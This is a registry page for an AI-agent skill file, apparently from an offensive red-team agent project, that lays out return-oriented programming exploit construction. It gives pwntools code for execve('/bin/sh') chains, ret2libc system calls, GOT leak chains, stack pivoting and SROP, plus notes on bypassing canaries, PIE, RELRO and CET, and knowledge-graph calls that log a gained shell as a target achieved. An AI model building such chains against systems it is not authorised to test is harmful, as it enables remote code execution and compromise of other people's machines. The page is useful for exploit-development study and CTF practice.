CtrlK
BlogDocsLog inGet started
Tessl Logo

rop-chain

ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md
SKILL.md
Quality
Evals
Security

ROP Chain Construction Playbook

ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose existing code fragments ("gadgets") ending in ret / jmp <reg> to build arbitrary computation without injecting code. Required when NX/DEP prevents shellcode execution.

1. Inventory mitigations

Before building the chain, know what protections you face:

checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary

Output flags:

  • NX: stack non-executable → ROP needed
  • PIE: position-independent → need leak first
  • RELRO (partial/full): GOT writable / read-only
  • Canary: stack-cookie → leak/bypass needed
  • ASLR: addresses randomized → leak needed for libc/PIE

2. Gadget discovery

# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt

# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt    # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt    # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt    # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt    # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head       # bare ret (stack alignment)

# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'

# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6

3. Common chain patterns

Direct execve("/bin/sh") via syscall (x86_64)

from pwn import *

# Gadgets from /tmp/binary
POP_RDI = 0x4011a3       # pop rdi ; ret
POP_RSI = 0x4011a1       # pop rsi ; ret
POP_RDX = 0x4011a5       # pop rdx ; ret
POP_RAX = 0x4011a7       # pop rax ; ret
SYSCALL = 0x4011a9       # syscall ; ret

# Target
BIN_SH  = 0x404060       # writeable .bss for "/bin/sh\x00"

chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f)  # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)

# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)

Via libc (if libc address leaked)

# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base

chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain

one_gadget (if conditions met)

one_gadget finds libc addresses that call execve("/bin/sh") with one jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:

one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...

Pick the constraint that matches the state at your return point.

4. Write-what-where (when no leak available initially)

If you can't read libc directly:

  1. Find puts@plt in the binary
  2. Build a chain that calls puts(puts_got) — leaks libc's puts address
  3. Compute libc base from that
  4. Return to main (or any function that re-runs your chain) and now build the real execve chain
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main     = elf.symbols['main']

leak_chain  = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main)  # restart so we can re-input

5. Modern bypass techniques

Stack pivoting

When buffer overflow is small, pivot to a controlled larger region:

# Gadgets needed
POP_RBP = 0x...           # pop rbp ; ret
LEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret

# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)

Sigreturn-Oriented Programming (SROP)

Few gadgets available? SROP uses rt_sigreturn syscall to restore full CPU state from a sigframe on the stack — sets every register at once:

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)

JOP (Jump-Oriented)

When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:

ROPgadget --binary /tmp/bin --jop

Pattern: dispatcher gadget calls each functional gadget via register. Harder to construct; rare in CTF, occasional in real exploits.

6. Mitigation specifics

Stack canary

Need to leak it first. Patterns:

  • Format string vuln reads canary
  • Read primitive (e.g. arbitrary read via uninit pointer) leaks it
  • Fork-server target: canary identical across fork children → brute byte-by-byte

PIE

Need to leak any function address in main binary → compute base. Often via puts/printf of a stack variable that contains a ret addr.

Full RELRO

GOT read-only → can't GOT-overwrite. ROP must use direct syscalls or libc functions via leaked base.

CET / shadow stack

ROP gadgets ending in ret get blocked at return. Mitigations:

  • Use ENDBR64-prefixed gadgets (JOP-style)
  • Use syscalls that don't return (execve)
  • Bypass via CET-disable techniques where possible

7. Promote (knowledge graph)

kg_add_node(kind="exploit_chain", label="ROP: BOF → execve",
            props={"target":"<binary>","gadget_count":<n>,"libc_required":<bool>})
kg_add_edge(src=<vuln:BOF>, dst=<exploit_chain>, kind="enables")
kg_add_edge(src=<exploit_chain>, dst=<crown_jewel:shell>, kind="achieves")

CVSS

  • Working RCE chain: 9.8-10.0 (network-reachable)
  • Chain requires local interaction: 7-8
  • ASLR-defeating chain reliable across runs: 10.0
  • One-shot one_gadget exploit: 9.8

Tooling cheat sheet

ToolUse for
ROPgadgetLinux/x86 gadget enum
ropperMulti-arch gadgets, search syntax
pwntools ROP() classChain assembly in Python
one_gadgetLibc one-shot RCE
angrSymbolic gadget chain finding
RopiumAutomated ROP chain synthesis
pwntools-tubesRemote interaction harness
pwndbg / gef (gdb plugins)Live debugging w/ ROP helpers
r2pipeProgrammatic radare2 from Python

Known exemplars (CTF + real)

  • Most CTF pwn challenges from medium+: classic ROP
  • Real CVE-2017-7494 (SambaCry): no ROP, but reused techniques
  • CVE-2014-0160 (Heartbleed): leak primitive used to defeat ASLR
  • Windows kernel exploits w/ HEVD: kernel ROP for SMEP bypass
  • iOS jailbreaks: heavy use of JOP due to PAC + KTRR
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.